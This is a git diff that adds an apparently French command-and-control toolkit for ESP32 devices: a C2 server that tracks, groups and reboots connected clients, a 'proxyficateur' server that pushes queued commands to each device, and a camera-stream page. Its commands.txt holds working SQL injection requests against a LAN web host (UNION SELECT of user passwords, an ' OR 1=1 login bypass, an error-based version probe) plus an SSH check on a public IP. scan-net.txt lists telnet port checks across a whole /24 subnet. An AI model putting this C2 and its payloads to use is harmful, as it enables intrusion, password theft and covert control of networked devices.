_print_status(f"Client {ip_address} est déjà dans le groupe {group_name}", "YELLOW", "!")
|
||||
|
||||
def list_groups(c2):
|
||||
if c2.groups:
|
||||
print(f"\n{_color('CYAN')}Groupes disponibles :{_color('RESET')}")
|
||||
for group_name, members in c2.groups.items():
|
||||
print(f"{group_name}: {', '.join(members)}")
|
||||
else:
|
||||
_print_status("Aucun groupe disponible", "RED", "⚠")
|
||||
|
||||
def remove_group(c2, group_name):
|
||||
if group_name in c2.groups:
|
||||
del c2.groups[group_name]
|
||||
_print_status(f"Groupe {group_name} supprimé", "GREEN")
|
||||
else:
|
||||
_print_status(f"Groupe {group_name} non trouvé", "RED", "⚠")
|
||||
|
||||
def remove_esp_from_group(c2, group_name, esp_list):
|
||||
if group_name not in c2.groups:
|
||||
_print_status(f"Groupe {group_name} non trouvé", "RED", "⚠")
|
||||
return
|
||||
|
||||
for esp in esp_list:
|
||||
try:
|
||||
index = int(esp) - 1
|
||||
if 0 <= index < len(c2.clients):
|
||||
client_ip = list(c2.clients.keys())[index][0]
|
||||
if client_ip in c2.groups[group_name]:
|
||||
c2.groups[group_name].remove(client_ip)
|
||||
_print_status(f"Client {client_ip} retiré du groupe {group_name}", "GREEN")
|
||||
else:
|
||||
_print_status(f"Client {client_ip} n'est pas dans le groupe {group_name}", "RED", "⚠")
|
||||
else:
|
||||
_print_status(f"Index client {esp} invalide", "RED", "⚠")
|
||||
except ValueError:
|
||||
if esp in c2.groups[group_name]:
|
||||
c2.groups[group_name].remove(esp)
|
||||
_print_status(f"Client {esp} retiré du groupe {group_name}", "GREEN")
|
||||
else:
|
||||
_print_status(f"Client {esp} n'est pas dans le groupe {group_name}", "RED", "⚠")
|
||||
|
||||
if group_name in c2.groups and not c2.groups[group_name]:
|
||||
del c2.groups[group_name]
|
||||
_print_status(f"Groupe {group_name} supprimé car vide", "YELLOW", "!")
|
||||
14
tools/c3po/README.md
Normal file
14
tools/c3po/README.md
Normal file
@ -0,0 +1,14 @@
|
||||
# Command & Controll
|
||||
|
||||
Code refacto dans .tools/c2 a finir Trilateration -> multilateration
|
||||
|
||||
Run c3po.py and ur c2 are up on port 2626 u can edit it on /utils/constant.py
|
||||
|
||||
Je dois faire cette doc
|
||||
|
||||
( J'ai refacto le code dans [Click Here](../c2/README.md))
|
||||
|
||||
## Authors
|
||||
|
||||
- @off-path (Main dev c2)
|
||||
- @Eun0us (Trillateration implementation + proto buff)
|
||||
162
tools/c3po/c3po.py
Normal file
162
tools/c3po/c3po.py
Normal file
@ -0,0 +1,162 @@
|
||||
import base64
|
||||
import socket
|
||||
import threading
|
||||
import os
|
||||
from utils.espilon_pb2 import ESPMessage, C2Command
|
||||
from utils.chacha20 import crypt
|
||||
from utils.manager import add_to_group, remove_group, remove_esp_from_group
|
||||
from utils.utils import _print_status, _find_client
|
||||
from utils.reboot import reboot
|
||||
from utils.cli import _setup_cli, _color, cli_interface
|
||||
from tools.c2.utils.constant import HOST, PORT, COMMANDS
|
||||
|
||||
from utils.message_process import process_esp_message
|
||||
|
||||
|
||||
class C2Server:
|
||||
def __init__(self):
|
||||
self.clients = {}
|
||||
self.groups = {}
|
||||
|
||||
self.clients_ids = {}
|
||||
|
||||
# For response synchronization
|
||||
self.response_events = {}
|
||||
self.response_data = {}
|
||||
|
||||
self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
self.server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||
self.server.bind((HOST, PORT))
|
||||
self.server.listen(5)
|
||||
|
||||
_setup_cli(self)
|
||||
self._start_server()
|
||||
|
||||
# ---------- Core Server Functions ----------
|
||||
def _start_server(self):
|
||||
print(f"\n{_color('GREEN')}[*] Server is listening on {HOST}:{PORT}{_color('RESET')}")
|
||||
threading.Thread(target=self._accept_clients, daemon=True).start()
|
||||
cli_interface(self)
|
||||
|
||||
def _accept_clients(self):
|
||||
while True:
|
||||
client_socket, client_address = self.server.accept()
|
||||
threading.Thread(target=self._handle_client, args=(client_socket, client_address)).start()
|
||||
|
||||
def _handle_client(self, client_socket, client_address):
|
||||
self._close_existing_client(client_address)
|
||||
self.clients[client_address] = client_socket
|
||||
_print_status(f"New client connected : {client_address}", "GREEN")
|
||||
|
||||
# Initialize event for this client
|
||||
self.response_events[client_address] = threading.Event()
|
||||
self.response_data[client_address] = None
|
||||
|
||||
while True:
|
||||
try:
|
||||
message = client_socket.recv(4096)
|
||||
if not message:
|
||||
break
|
||||
|
||||
try:
|
||||
process_esp_message(self, client_address, message)
|
||||
|
||||
except Exception as e:
|
||||
print(f"Error during decryption: {e}")
|
||||
continue
|
||||
|
||||
except (ConnectionResetError, BrokenPipeError):
|
||||
break
|
||||
|
||||
_print_status(f"Client {client_address} disconnected", "RED")
|
||||
self.clients.pop(client_address, None)
|
||||
if client_address in self.response_events:
|
||||
del self.response_events[client_address]
|
||||
if client_address in self.response_data:
|
||||
del self.response_data[client_address]
|
||||
client_socket.close()
|
||||
|
||||
# ---------- Client Management ----------
|
||||
def _close_existing_client(self, client_address):
|
||||
if client_address in self.clients:
|
||||
self.clients[client_address].close()
|
||||
del self.clients[client_address]
|
||||
_print_status(f"Client {client_address} disconnected", "RED")
|
||||
|
||||
|
||||
# ---------- CLI Interface ----------
|
||||
def _complete(self, text, state):
|
||||
if text.startswith("reboot "):
|
||||
options = [addr[0] for addr in self.clients.keys() if addr[0].startswith(text[7:])]
|
||||
options.append("all")
|
||||
options.extend(self.groups.keys())
|
||||
elif text.startswith("add_group "):
|
||||
options = [addr[0] for addr in self.clients.keys() if addr[0].startswith(text[10:])]
|
||||
elif text.startswith("remove_group "):
|
||||
options = [group for group in self.groups.keys() if group.startswith(text[13:])]
|
||||
elif text.startswith("remove_esp_from "):
|
||||
parts = text.split()
|
||||
if len(parts) >= 2 and parts[1] in self.groups:
|
||||
options = self.groups[parts[1]]
|
||||
else:
|
||||
options = [cmd for cmd in COMMANDS if cmd.startswith(text)]
|
||||
|
||||
return options[state] if state < len(options) else None
|
||||
|
||||
def _handle_reboot(self, parts):
|
||||
if len(parts) != 2:
|
||||
_print_status("Invalid command. Use 'reboot <id_esp32>', 'reboot all', or 'reboot <group>'", "RED", "⚠")
|
||||
return
|
||||
|
||||
target = parts[1]
|
||||
if target == "all":
|
||||
reboot(self, mode="all")
|
||||
elif target in self.groups:
|
||||
reboot(self, target, mode="group")
|
||||
else:
|
||||
client = _find_client(self, target)
|
||||
if client:
|
||||
reboot(self, client, mode="single")
|
||||
else:
|
||||
_print_status(f"Client with ID {target} not found", "RED", "⚠")
|
||||
|
||||
def _handle_add_group(self, parts):
|
||||
if len(parts) != 3:
|
||||
_print_status("Invalid command. Use 'add_group <group> <id_esp32>'", "RED", "⚠")
|
||||
return
|
||||
|
||||
group_name, client_id = parts[1], parts[2]
|
||||
client = _find_client(self, client_id)
|
||||
|
||||
if client:
|
||||
add_to_group(self, group_name, client)
|
||||
else:
|
||||
_print_status(f"Client with ID {client_id} not found", "RED", "⚠")
|
||||
|
||||
def _handle_remove_group(self, parts):
|
||||
if len(parts) != 2:
|
||||
_print_status(" Invalid command. Use 'remove_group <group>'", "RED", "⚠")
|
||||
return
|
||||
remove_group(self, parts[1])
|
||||
|
||||
def _handle_remove_esp_from(self, parts):
|
||||
if len(parts) < 3:
|
||||
_print_status(" Invalid command. Use 'remove_esp_from <group> <esp>[,<esp>...]'", "RED", "⚠")
|
||||
return
|
||||
|
||||
group_name = parts[1]
|
||||
esp_list = []
|
||||
for part in parts[2:]:
|
||||
esp_list.extend(part.split(','))
|
||||
|
||||
remove_esp_from_group(self, group_name, esp_list)
|
||||
|
||||
def _shutdown(self):
|
||||
_print_status(" Closing server ...", "YELLOW", "✋")
|
||||
for client in list(self.clients.values()):
|
||||
client.close()
|
||||
self.server.close()
|
||||
os._exit(0)
|
||||
|
||||
if __name__ == "__main__":
|
||||
C2Server()
|
||||
31
tools/c3po/core/device.py
Normal file
31
tools/c3po/core/device.py
Normal file
@ -0,0 +1,31 @@
|
||||
from dataclasses import dataclass, field
|
||||
import socket
|
||||
import time
|
||||
|
||||
|
||||
@dataclass
|
||||
class Device:
|
||||
"""
|
||||
Représente un ESP32 connecté au serveur
|
||||
"""
|
||||
id: str
|
||||
sock: socket.socket
|
||||
address: tuple[str, int]
|
||||
|
||||
connected_at: float = field(default_factory=time.time)
|
||||
last_seen: float = field(default_factory=time.time)
|
||||
|
||||
def touch(self):
|
||||
"""
|
||||
Met à jour la date de dernière activité
|
||||
"""
|
||||
self.last_seen = time.time()
|
||||
|
||||
def close(self):
|
||||
"""
|
||||
Ferme proprement la connexion
|
||||
"""
|
||||
try:
|
||||
self.sock.close()
|
||||
except Exception:
|
||||
pass
|
||||
67
tools/c3po/core/registry.py
Normal file
67
tools/c3po/core/registry.py
Normal file
@ -0,0 +1,67 @@
|
||||
import threading
|
||||
from typing import Dict, List, Optional
|
||||
from core.device import Device
|
||||
|
||||
|
||||
class DeviceRegistry:
|
||||
"""
|
||||
Registre central des ESP connectés.
|
||||
Clé primaire : esp_id
|
||||
"""
|
||||
def __init__(self):
|
||||
self._devices: Dict[str, Device] = {}
|
||||
self._lock = threading.Lock()
|
||||
|
||||
# ---------- Gestion des devices ----------
|
||||
|
||||
def add(self, device: Device) -> None:
|
||||
"""
|
||||
Ajoute ou remplace un device (reconnexion)
|
||||
"""
|
||||
with self._lock:
|
||||
self._devices[device.id] = device
|
||||
|
||||
def remove(self, esp_id: str) -> None:
|
||||
"""
|
||||
Supprime un device par ID
|
||||
"""
|
||||
with self._lock:
|
||||
device = self._devices.pop(esp_id, None)
|
||||
if device:
|
||||
device.close()
|
||||
|
||||
def get(self, esp_id: str) -> Optional[Device]:
|
||||
"""
|
||||
Récupère un device par ID
|
||||
"""
|
||||
with self._lock:
|
||||
return self._devices.get(esp_id)
|
||||
|
||||
def all(self) -> List[Device]:
|
||||
"""
|
||||
Retourne la liste de tous les devices
|
||||
"""
|
||||
with self._lock:
|
||||
return list(self._devices.values())
|
||||
|
||||
def ids(self) -> List[str]:
|
||||
"""
|
||||
Retourne la liste des IDs ESP (pour CLI / tabulation)
|
||||
"""
|
||||
with self._lock:
|
||||
return list(self._devices.keys())
|
||||
|
||||
# ---------- Utilitaires ----------
|
||||
|
||||
def exists(self, esp_id: str) -> bool:
|
||||
with self._lock:
|
||||
return esp_id in self._devices
|
||||
|
||||
def touch(self, esp_id: str) -> None:
|
||||
"""
|
||||
Met à jour last_seen d’un ESP
|
||||
"""
|
||||
with self._lock:
|
||||
device = self._devices.get(esp_id)
|
||||
if device:
|
||||
device.touch()
|
||||
5
tools/c3po/proxyficateur/commands.txt
Normal file
5
tools/c3po/proxyficateur/commands.txt
Normal file
@ -0,0 +1,5 @@
|
||||
192.168.1.155:5000|GET /search?id=1%20UNION%20SELECT%20NULL,NULL,password%20FROM%20users HTTP/1.1\r\nHost: 192.168.1.155:5000\r\nConnection: close\r\n\r\n
|
||||
192.168.1.155:5000|GET /login?user=admin&pass=%27%20OR%201%3D1%20--%20 HTTP/1.1\r\nHost: 192.168.1.155:5000\r\nConnection: close\r\n\r\n
|
||||
192.168.1.155:5000|GET /search?q=%27%20UNION%20SELECT%20NULL--%20 HTTP/1.1\r\nHost: 192.168.1.155:5000\r\nConnection: close\r\n\r\n
|
||||
192.168.1.155:5000|GET /product?id=1%27%20AND%201%3DCONVERT%28int%2C@@version%29--%20 HTTP/1.1\r\nHost: 192.168.1.155:5000\r\nConnection: close\r\n\r\n
|
||||
82.67.142.175:22|SSH_CHECK
|
||||
64
tools/c3po/proxyficateur/proxyficateur.py
Normal file
64
tools/c3po/proxyficateur/proxyficateur.py
Normal file
@ -0,0 +1,64 @@
|
||||
import socket
|
||||
import threading
|
||||
import time
|
||||
|
||||
clients = {}
|
||||
lock = threading.Lock()
|
||||
|
||||
def load_all_commands(filename="commands.txt"):
|
||||
try:
|
||||
with open(filename, "r") as f:
|
||||
return [line.strip() for line in f if line.strip()]
|
||||
except FileNotFoundError:
|
||||
print(f"[!] File {filename} not found.")
|
||||
return []
|
||||
|
||||
def handle_client(client_socket, address):
|
||||
client_id = f"{address[0]}:{address[1]}"
|
||||
print(f"[+] New client connected : {client_id}")
|
||||
|
||||
with lock:
|
||||
clients[client_id] = client_socket
|
||||
|
||||
commands = load_all_commands()
|
||||
|
||||
try:
|
||||
for cmd in commands:
|
||||
print(f"[→] Send to {client_id} : {cmd}")
|
||||
client_socket.sendall((cmd + "\n").encode())
|
||||
|
||||
# Attente de la réponse du client avant de continuer
|
||||
data = client_socket.recv(4096)
|
||||
if not data:
|
||||
print(f"[!] Client {client_id} has closed connexion.")
|
||||
break
|
||||
print(f"[←] Résponse from {client_id} : {data.decode(errors='ignore')}")
|
||||
|
||||
except Exception as e:
|
||||
print(f"[!] Error with {client_id} : {e}")
|
||||
|
||||
finally:
|
||||
with lock:
|
||||
if client_id in clients:
|
||||
del clients[client_id]
|
||||
client_socket.close()
|
||||
print(f"[-] Client disconnected : {client_id}")
|
||||
|
||||
def accept_connections(server_socket):
|
||||
while True:
|
||||
client_socket, addr = server_socket.accept()
|
||||
threading.Thread(target=handle_client, args=(client_socket, addr), daemon=True).start()
|
||||
|
||||
def start_server(host="0.0.0.0", port=2021):
|
||||
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
server.bind((host, port))
|
||||
server.listen(5)
|
||||
print(f"[Server] Listening on {host}:{port}")
|
||||
|
||||
threading.Thread(target=accept_connections, args=(server,), daemon=True).start()
|
||||
|
||||
while True:
|
||||
time.sleep(1)
|
||||
|
||||
if __name__ == "__main__":
|
||||
start_server()
|
||||
254
tools/c3po/proxyficateur/scan-net.txt
Normal file
254
tools/c3po/proxyficateur/scan-net.txt
Normal file
@ -0,0 +1,254 @@
|
||||
192.168.1.1:23|PORT_CHECK
|
||||
192.168.1.2:23|PORT_CHECK
|
||||
192.168.1.3:23|PORT_CHECK
|
||||
192.168.1.4:23|PORT_CHECK
|
||||
192.168.1.5:23|PORT_CHECK
|
||||
192.168.1.6:23|PORT_CHECK
|
||||
192.168.1.7:23|PORT_CHECK
|
||||
192.168.1.8:23|PORT_CHECK
|
||||
192.168.1.9:23|PORT_CHECK
|
||||
192.168.1.10:23|PORT_CHECK
|
||||
192.168.1.11:23|PORT_CHECK
|
||||
192.168.1.12:23|PORT_CHECK
|
||||
192.168.1.13:23|PORT_CHECK
|
||||
192.168.1.14:23|PORT_CHECK
|
||||
192.168.1.15:23|PORT_CHECK
|
||||
192.168.1.16:23|PORT_CHECK
|
||||
192.168.1.17:23|PORT_CHECK
|
||||
192.168.1.18:23|PORT_CHECK
|
||||
192.168.1.19:23|PORT_CHECK
|
||||
192.168.1.20:23|PORT_CHECK
|
||||
192.168.1.21:23|PORT_CHECK
|
||||
192.168.1.22:23|PORT_CHECK
|
||||
192.168.1.23:23|PORT_CHECK
|
||||
192.168.1.24:23|PORT_CHECK
|
||||
192.168.1.25:23|PORT_CHECK
|
||||
192.168.1.26:23|PORT_CHECK
|
||||
192.168.1.27:23|PORT_CHECK
|
||||
192.168.1.28:23|PORT_CHECK
|
||||
192.168.1.29:23|PORT_CHECK
|
||||
192.168.1.30:23|PORT_CHECK
|
||||
192.168.1.31:23|PORT_CHECK
|
||||
192.168.1.32:23|PORT_CHECK
|
||||
192.168.1.33:23|PORT_CHECK
|
||||
192.168.1.34:23|PORT_CHECK
|
||||
192.168.1.35:23|PORT_CHECK
|
||||
192.168.1.36:23|PORT_CHECK
|
||||
192.168.1.37:23|PORT_CHECK
|
||||
192.168.1.38:23|PORT_CHECK
|
||||
192.168.1.39:23|PORT_CHECK
|
||||
192.168.1.40:23|PORT_CHECK
|
||||
192.168.1.41:23|PORT_CHECK
|
||||
192.168.1.42:23|PORT_CHECK
|
||||
192.168.1.43:23|PORT_CHECK
|
||||
192.168.1.44:23|PORT_CHECK
|
||||
192.168.1.45:23|PORT_CHECK
|
||||
192.168.1.46:23|PORT_CHECK
|
||||
192.168.1.47:23|PORT_CHECK
|
||||
192.168.1.48:23|PORT_CHECK
|
||||
192.168.1.49:23|PORT_CHECK
|
||||
192.168.1.50:23|PORT_CHECK
|
||||
192.168.1.51:23|PORT_CHECK
|
||||
192.168.1.52:23|PORT_CHECK
|
||||
192.168.1.53:23|PORT_CHECK
|
||||
192.168.1.54:23|PORT_CHECK
|
||||
192.168.1.55:23|PORT_CHECK
|
||||
192.168.1.56:23|PORT_CHECK
|
||||
192.168.1.57:23|PORT_CHECK
|
||||
192.168.1.58:23|PORT_CHECK
|
||||
192.168.1.59:23|PORT_CHECK
|
||||
192.168.1.60:23|PORT_CHECK
|
||||
192.168.1.61:23|PORT_CHECK
|
||||
192.168.1.62:23|PORT_CHECK
|
||||
192.168.1.63:23|PORT_CHECK
|
||||
192.168.1.64:23|PORT_CHECK
|
||||
192.168.1.65:23|PORT_CHECK
|
||||
192.168.1.66:23|PORT_CHECK
|
||||
192.168.1.67:23|PORT_CHECK
|
||||
192.168.1.68:23|PORT_CHECK
|
||||
192.168.1.69:23|PORT_CHECK
|
||||
192.168.1.70:23|PORT_CHECK
|
||||
192.168.1.71:23|PORT_CHECK
|
||||
192.168.1.72:23|PORT_CHECK
|
||||
192.168.1.73:23|PORT_CHECK
|
||||
192.168.1.74:23|PORT_CHECK
|
||||
192.168.1.75:23|PORT_CHECK
|
||||
192.168.1.76:23|PORT_CHECK
|
||||
192.168.1.77:23|PORT_CHECK
|
||||
192.168.1.78:23|PORT_CHECK
|
||||
192.168.1.79:23|PORT_CHECK
|
||||
192.168.1.80:23|PORT_CHECK
|
||||
192.168.1.81:23|PORT_CHECK
|
||||
192.168.1.82:23|PORT_CHECK
|
||||
192.168.1.83:23|PORT_CHECK
|
||||
192.168.1.84:23|PORT_CHECK
|
||||
192.168.1.85:23|PORT_CHECK
|
||||
192.168.1.86:23|PORT_CHECK
|
||||
192.168.1.87:23|PORT_CHECK
|
||||
192.168.1.88:23|PORT_CHECK
|
||||
192.168.1.89:23|PORT_CHECK
|
||||
192.168.1.90:23|PORT_CHECK
|
||||
192.168.1.91:23|PORT_CHECK
|
||||
192.168.1.92:23|PORT_CHECK
|
||||
192.168.1.93:23|PORT_CHECK
|
||||
192.168.1.94:23|PORT_CHECK
|
||||
192.168.1.95:23|PORT_CHECK
|
||||
192.168.1.96:23|PORT_CHECK
|
||||
192.168.1.97:23|PORT_CHECK
|
||||
192.168.1.98:23|PORT_CHECK
|
||||
192.168.1.99:23|PORT_CHECK
|
||||
192.168.1.100:23|PORT_CHECK
|
||||
192.168.1.101:23|PORT_CHECK
|
||||
192.168.1.102:23|PORT_CHECK
|
||||
192.168.1.103:23|PORT_CHECK
|
||||
192.168.1.104:23|PORT_CHECK
|
||||
192.168.1.105:23|PORT_CHECK
|
||||
192.168.1.106:23|PORT_CHECK
|
||||
192.168.1.107:23|PORT_CHECK
|
||||
192.168.1.108:23|PORT_CHECK
|
||||
192.168.1.109:23|PORT_CHECK
|
||||
192.168.1.110:23|PORT_CHECK
|
||||
192.168.1.111:23|PORT_CHECK
|
||||
192.168.1.112:23|PORT_CHECK
|
||||
192.168.1.113:23|PORT_CHECK
|
||||
192.168.1.114:23|PORT_CHECK
|
||||
192.168.1.115:23|PORT_CHECK
|
||||
192.168.1.116:23|PORT_CHECK
|
||||
192.168.1.117:23|PORT_CHECK
|
||||
192.168.1.118:23|PORT_CHECK
|
||||
192.168.1.119:23|PORT_CHECK
|
||||
192.168.1.120:23|PORT_CHECK
|
||||
192.168.1.121:23|PORT_CHECK
|
||||
192.168.1.122:23|PORT_CHECK
|
||||
192.168.1.123:23|PORT_CHECK
|
||||
192.168.1.124:23|PORT_CHECK
|
||||
192.168.1.125:23|PORT_CHECK
|
||||
192.168.1.126:23|PORT_CHECK
|
||||
192.168.1.127:23|PORT_CHECK
|
||||
192.168.1.128:23|PORT_CHECK
|
||||
192.168.1.129:23|PORT_CHECK
|
||||
192.168.1.130:23|PORT_CHECK
|
||||
192.168.1.131:23|PORT_CHECK
|
||||
192.168.1.132:23|PORT_CHECK
|
||||
192.168.1.133:23|PORT_CHECK
|
||||
192.168.1.134:23|PORT_CHECK
|
||||
192.168.1.135:23|PORT_CHECK
|
||||
192.168.1.136:23|PORT_CHECK
|
||||
192.168.1.137:23|PORT_CHECK
|
||||
192.168.1.138:23|PORT_CHECK
|
||||
192.168.1.139:23|PORT_CHECK
|
||||
192.168.1.140:23|PORT_CHECK
|
||||
192.168.1.141:23|PORT_CHECK
|
||||
192.168.1.142:23|PORT_CHECK
|
||||
192.168.1.143:23|PORT_CHECK
|
||||
192.168.1.144:23|PORT_CHECK
|
||||
192.168.1.145:23|PORT_CHECK
|
||||
192.168.1.146:23|PORT_CHECK
|
||||
192.168.1.147:23|PORT_CHECK
|
||||
192.168.1.148:23|PORT_CHECK
|
||||
192.168.1.149:23|PORT_CHECK
|
||||
192.168.1.150:23|PORT_CHECK
|
||||
192.168.1.151:23|PORT_CHECK
|
||||
192.168.1.152:23|PORT_CHECK
|
||||
192.168.1.153:23|PORT_CHECK
|
||||
192.168.1.154:23|PORT_CHECK
|
||||
192.168.1.155:23|PORT_CHECK
|
||||
192.168.1.156:23|PORT_CHECK
|
||||
192.168.1.157:23|PORT_CHECK
|
||||
192.168.1.158:23|PORT_CHECK
|
||||
192.168.1.159:23|PORT_CHECK
|
||||
192.168.1.160:23|PORT_CHECK
|
||||
192.168.1.161:23|PORT_CHECK
|
||||
192.168.1.162:23|PORT_CHECK
|
||||
192.168.1.163:23|PORT_CHECK
|
||||
192.168.1.164:23|PORT_CHECK
|
||||
192.168.1.165:23|PORT_CHECK
|
||||
192.168.1.166:23|PORT_CHECK
|
||||
192.168.1.167:23|PORT_CHECK
|
||||
192.168.1.168:23|PORT_CHECK
|
||||
192.168.1.169:23|PORT_CHECK
|
||||
192.168.1.170:23|PORT_CHECK
|
||||
192.168.1.171:23|PORT_CHECK
|
||||
192.168.1.172:23|PORT_CHECK
|
||||
192.168.1.173:23|PORT_CHECK
|
||||
192.168.1.174:23|PORT_CHECK
|
||||
192.168.1.175:23|PORT_CHECK
|
||||
192.168.1.176:23|PORT_CHECK
|
||||
192.168.1.177:23|PORT_CHECK
|
||||
192.168.1.178:23|PORT_CHECK
|
||||
192.168.1.179:23|PORT_CHECK
|
||||
192.168.1.180:23|PORT_CHECK
|
||||
192.168.1.181:23|PORT_CHECK
|
||||
192.168.1.182:23|PORT_CHECK
|
||||
192.168.1.183:23|PORT_CHECK
|
||||
192.168.1.184:23|PORT_CHECK
|
||||
192.168.1.185:23|PORT_CHECK
|
||||
192.168.1.186:23|PORT_CHECK
|
||||
192.168.1.187:23|PORT_CHECK
|
||||
192.168.1.188:23|PORT_CHECK
|
||||
192.168.1.189:23|PORT_CHECK
|
||||
192.168.1.190:23|PORT_CHECK
|
||||
192.168.1.191:23|PORT_CHECK
|
||||
192.168.1.192:23|PORT_CHECK
|
||||
192.168.1.193:23|PORT_CHECK
|
||||
192.168.1.194:23|PORT_CHECK
|
||||
192.168.1.195:23|PORT_CHECK
|
||||
192.168.1.196:23|PORT_CHECK
|
||||
192.168.1.197:23|PORT_CHECK
|
||||
192.168.1.198:23|PORT_CHECK
|
||||
192.168.1.199:23|PORT_CHECK
|
||||
192.168.1.200:23|PORT_CHECK
|
||||
192.168.1.201:23|PORT_CHECK
|
||||
192.168.1.202:23|PORT_CHECK
|
||||
192.168.1.203:23|PORT_CHECK
|
||||
192.168.1.204:23|PORT_CHECK
|
||||
192.168.1.205:23|PORT_CHECK
|
||||
192.168.1.206:23|PORT_CHECK
|
||||
192.168.1.207:23|PORT_CHECK
|
||||
192.168.1.208:23|PORT_CHECK
|
||||
192.168.1.209:23|PORT_CHECK
|
||||
192.168.1.210:23|PORT_CHECK
|
||||
192.168.1.211:23|PORT_CHECK
|
||||
192.168.1.212:23|PORT_CHECK
|
||||
192.168.1.213:23|PORT_CHECK
|
||||
192.168.1.214:23|PORT_CHECK
|
||||
192.168.1.215:23|PORT_CHECK
|
||||
192.168.1.216:23|PORT_CHECK
|
||||
192.168.1.217:23|PORT_CHECK
|
||||
192.168.1.218:23|PORT_CHECK
|
||||
192.168.1.219:23|PORT_CHECK
|
||||
192.168.1.220:23|PORT_CHECK
|
||||
192.168.1.221:23|PORT_CHECK
|
||||
192.168.1.222:23|PORT_CHECK
|
||||
192.168.1.223:23|PORT_CHECK
|
||||
192.168.1.224:23|PORT_CHECK
|
||||
192.168.1.225:23|PORT_CHECK
|
||||
192.168.1.226:23|PORT_CHECK
|
||||
192.168.1.227:23|PORT_CHECK
|
||||
192.168.1.228:23|PORT_CHECK
|
||||
192.168.1.229:23|PORT_CHECK
|
||||
192.168.1.230:23|PORT_CHECK
|
||||
192.168.1.231:23|PORT_CHECK
|
||||
192.168.1.232:23|PORT_CHECK
|
||||
192.168.1.233:23|PORT_CHECK
|
||||
192.168.1.234:23|PORT_CHECK
|
||||
192.168.1.235:23|PORT_CHECK
|
||||
192.168.1.236:23|PORT_CHECK
|
||||
192.168.1.237:23|PORT_CHECK
|
||||
192.168.1.238:23|PORT_CHECK
|
||||
192.168.1.239:23|PORT_CHECK
|
||||
192.168.1.240:23|PORT_CHECK
|
||||
192.168.1.241:23|PORT_CHECK
|
||||
192.168.1.242:23|PORT_CHECK
|
||||
192.168.1.243:23|PORT_CHECK
|
||||
192.168.1.244:23|PORT_CHECK
|
||||
192.168.1.245:23|PORT_CHECK
|
||||
192.168.1.246:23|PORT_CHECK
|
||||
192.168.1.247:23|PORT_CHECK
|
||||
192.168.1.248:23|PORT_CHECK
|
||||
192.168.1.249:23|PORT_CHECK
|
||||
192.168.1.250:23|PORT_CHECK
|
||||
192.168.1.251:23|PORT_CHECK
|
||||
192.168.1.252:23|PORT_CHECK
|
||||
192.168.1.253:23|PORT_CHECK
|
||||
192.168.1.254:23|PORT_CHECK
|
||||
65
tools/c3po/proxyficateur/srv.py
Normal file
65
tools/c3po/proxyficateur/srv.py
Normal file
@ -0,0 +1,65 @@
|
||||
|
||||
import socket
|
||||
import threading
|
||||
import time
|
||||
|
||||
clients = {}
|
||||
lock = threading.Lock()
|
||||
|
||||
def load_all_commands(filename="commands.txt"):
|
||||
try:
|
||||
with open(filename, "r") as f:
|
||||
return [line.strip() for line in f if line.strip()]
|
||||
except FileNotFoundError:
|
||||
print(f"[!] Fichier {filename} non trouvé.")
|
||||
return []
|
||||
|
||||
def handle_client(client_socket, address):
|
||||
client_id = f"{address[0]}:{address[1]}"
|
||||
print(f"[+] Nouveau client connecté : {client_id}")
|
||||
|
||||
with lock:
|
||||
clients[client_id] = client_socket
|
||||
|
||||
commands = load_all_commands()
|
||||
|
||||
try:
|
||||
for cmd in commands:
|
||||
print(f"[→] Envoi à {client_id} : {cmd}")
|
||||
client_socket.sendall((cmd + "\n").encode())
|
||||
|
||||
# Attente de la réponse du client avant de continuer
|
||||
data = client_socket.recv(4096)
|
||||
if not data:
|
||||
print(f"[!] Le client {client_id} a fermé la connexion.")
|
||||
break
|
||||
print(f"[←] Réponse de {client_id} : {data.decode(errors='ignore')}")
|
||||
|
||||
except Exception as e:
|
||||
print(f"[!] Erreur avec {client_id} : {e}")
|
||||
|
||||
finally:
|
||||
with lock:
|
||||
if client_id in clients:
|
||||
del clients[client_id]
|
||||
client_socket.close()
|
||||
print(f"[-] Client déconnecté : {client_id}")
|
||||
|
||||
def accept_connections(server_socket):
|
||||
while True:
|
||||
client_socket, addr = server_socket.accept()
|
||||
threading.Thread(target=handle_client, args=(client_socket, addr), daemon=True).start()
|
||||
|
||||
def start_server(host="0.0.0.0", port=1234):
|
||||
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
server.bind((host, port))
|
||||
server.listen(5)
|
||||
print(f"[Serveur] En écoute sur {host}:{port}")
|
||||
|
||||
threading.Thread(target=accept_connections, args=(server,), daemon=True).start()
|
||||
|
||||
while True:
|
||||
time.sleep(1)
|
||||
|
||||
if __name__ == "__main__":
|
||||
start_server()
|
||||
BIN
tools/c3po/static/streams/record.avi
Normal file
BIN
tools/c3po/static/streams/record.avi
Normal file
Binary file not shown.
38
tools/c3po/templates/index.html
Normal file
38
tools/c3po/templates/index.html
Normal file
@ -0,0 +1,38 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="fr">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<title>Multi Flux Caméras UDP</title>
|
||||
<style>
|
||||
img {
|
||||
max-width: 300px;
|
||||
margin: 10px;
|
||||
border: 2px solid #333;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<h1>Caméras en direct</h1>
|
||||
<div id="camera-container">
|
||||
{% for img in image_files %}
|
||||
<div>
|
||||
<p>{{ img }}</p>
|
||||
<img id="img_{{ loop.index }}" src="/streams/{{ img }}?t={{ loop.index }}" alt="Camera {{ loop.index }}">
|
||||
<p>{{ image.split('_')[0] if '_' in image else image }}</p>
|
||||
</div>
|
||||
{% endfor %}
|
||||
</div>
|
||||
|
||||
<script>
|
||||
function refreshImages() {
|
||||
const imgs = document.querySelectorAll("img");
|
||||
imgs.forEach((img, i) => {
|
||||
const src = img.src.split("?")[0];
|
||||
img.src = `${src}?t=${Date.now()}`; // Cache-busting
|
||||
});
|
||||
}
|
||||
setInterval(refreshImages, 100); // Rafraîchit toutes les 100 ms
|
||||
</script>
|
||||
<a href="/trilateration">→ Voir Trilatération</a>
|
||||
</body>
|
||||
</html>
|
||||
58
tools/c3po/templates/login.html
Normal file
58
tools/c3po/templates/login.html
Normal file
@ -0,0 +1,58 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="fr">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
